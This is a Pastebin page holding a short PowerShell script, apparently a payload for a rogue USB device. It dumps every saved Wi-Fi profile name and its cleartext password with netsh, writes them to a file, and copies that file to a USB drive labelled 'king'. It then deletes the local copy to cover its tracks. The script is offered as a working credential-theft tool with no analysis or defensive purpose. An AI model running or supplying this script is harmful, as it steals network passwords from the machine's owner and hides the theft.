Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- cd..
- cd..
- cd users
- cd $env:USERNAME
- (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize >"wifi.txt"
- $usbPath = Get-WMIObject Win32_Volume | ? { $_.Label -eq 'king' } | select name
- cd $usbPath.name
- Copy-Item "C:\Users\$env:USERNAME\wifi.txt" -Destination "\wifi.txt"
- C:
- del wifi.txt
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement